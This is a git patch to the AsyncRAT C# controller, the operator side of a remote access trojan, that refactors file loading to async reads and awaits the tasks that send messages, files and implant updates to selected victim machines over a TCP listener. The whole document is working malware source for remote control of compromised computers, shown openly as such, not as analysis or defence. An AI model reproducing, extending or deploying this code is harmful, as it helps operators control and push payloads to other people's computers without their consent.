From 5a3225eecfcdfdacf3bae5489409a89652b12b08 Mon Sep 17 00:00:00 2001
From: NYAN CAT <NYANxCAT@pm.me>
Date: Wed, 6 Feb 2019 09:01:49 -0800
Subject: [PATCH] Update

Using await fs.ReadAsync 'MsgPack'
---
 AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs      | 18 +++++++++---------
 .../AsyncRAT-Sharp/MessagePack/MsgPack.cs      |  4 ++--
 AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs  |  8 ++++----
 3 files changed, 15 insertions(+), 15 deletions(-)

diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs
index a4896aa..6599988 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs
@@ -110,14 +110,14 @@ namespace AsyncRAT_Sharp
         {
             if (listView1.SelectedItems.Count > 0)
             {
-                string URL = Interaction.InputBox("Message", "Message", "Hello World!");
-                if (string.IsNullOrEmpty(URL))
+                string Msgbox = Interaction.InputBox("Message", "Message", "Hello World!");
+                if (string.IsNullOrEmpty(Msgbox))
                     return;
                 else
                 {
                     MsgPack msgpack = new MsgPack();
                     msgpack.ForcePathObject("Packet").AsString = "sendMessage";
-                    msgpack.ForcePathObject("Message").AsString = URL;
+                    msgpack.ForcePathObject("Message").AsString = Msgbox;
                     foreach (ListViewItem C in listView1.SelectedItems)
                     {
                         Task.Run(() =>
@@ -130,7 +130,7 @@ namespace AsyncRAT_Sharp
             }
         }
 
-        private void sENDFILEToolStripMenuItem_Click_1(object sender, EventArgs e)
+        private async void sENDFILEToolStripMenuItem_Click_1(object sender, EventArgs e)
         {
             if (listView1.SelectedItems.Count > 0)
             {
@@ -141,12 +141,12 @@ namespace AsyncRAT_Sharp
                     {
                         MsgPack msgpack = new MsgPack();
                         msgpack.ForcePathObject("Packet").AsString = "sendFile";
-                        msgpack.ForcePathObject("File").LoadFileAsBytes(O.FileName);
+                        await msgpack.ForcePathObject("File").LoadFileAsBytes(O.FileName);
                         msgpack.ForcePathObject("Extension").AsString = Path.GetExtension(O.FileName);
                         msgpack.ForcePathObject("Update").AsString = "false";
                         foreach (ListViewItem C in listView1.SelectedItems)
                         {
-                            Task.Run(() =>
+                            await Task.Run(() =>
                             {
                                 Clients CL = (Clients)C.Tag;
                                 CL.BeginSend(msgpack.Encode2Bytes());
@@ -179,7 +179,7 @@ namespace AsyncRAT_Sharp
             }
         }
 
-        private void uPDATEToolStripMenuItem_Click(object sender, EventArgs e)
+        private async void uPDATEToolStripMenuItem_Click(object sender, EventArgs e)
         {
             if (listView1.SelectedItems.Count > 0)
             {
@@ -190,12 +190,12 @@ namespace AsyncRAT_Sharp
                     {
                         MsgPack msgpack = new MsgPack();
                         msgpack.ForcePathObject("Packet").AsString = "sendFile";
-                        msgpack.ForcePathObject("File").LoadFileAsBytes(O.FileName);
+                        await msgpack.ForcePathObject("File").LoadFileAsBytes(O.FileName);
                         msgpack.ForcePathObject("Extension").AsString = Path.GetExtension(O.FileName);
                         msgpack.ForcePathObject("Update").AsString = "true";
                         foreach (ListViewItem C in listView1.SelectedItems)
                         {
-                            Task.Run(() =>
+                            await Task.Run(() =>
                             {
                                 Clients CL = (Clients)C.Tag;
                                 CL.BeginSend(msgpack.Encode2Bytes());
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/MessagePack/MsgPack.cs b/AsyncRAT-C#/AsyncRAT-Sharp/MessagePack/MsgPack.cs
index a20c06a..c1a35fa 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/MessagePack/MsgPack.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/MessagePack/MsgPack.cs
@@ -369,14 +369,14 @@ namespace AsyncRAT_Sharp.MessagePack
             tmp.SetAsInteger(value);
         }
 
-        public bool LoadFileAsBytes(string fileName)
+       public async Task<bool> LoadFileAsBytes(string fileName)
         {
             if (File.Exists(fileName))
             {
                 byte[] value = null;
                 FileStream fs = new FileStream(fileName, FileMode.Open, FileAccess.Read, FileShare.Read);
                 value = new byte[fs.Length];
-                fs.Read(value, 0, (int)fs.Length);
+                await fs.ReadAsync(value, 0, (int)fs.Length);
                 fs.Close();
                 SetAsBytes(value);
                 return true;
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs
index 6e28f90..33b3aca 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs
@@ -18,10 +18,10 @@ namespace AsyncRAT_Sharp.Sockets
                 IPEndPoint IpEndPoint = new IPEndPoint(IPAddress.Any, Convert.ToInt32(port));
                 listener = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
                 {
-                SendBufferSize = 50 * 1024,
-                ReceiveBufferSize = 50 * 1024,
-                ReceiveTimeout = -1,
-                SendTimeout = -1,
+                    SendBufferSize = 50 * 1024,
+                    ReceiveBufferSize = 50 * 1024,
+                    ReceiveTimeout = -1,
+                    SendTimeout = -1,
                 };
                 listener.Bind(IpEndPoint);
                 listener.Listen(20);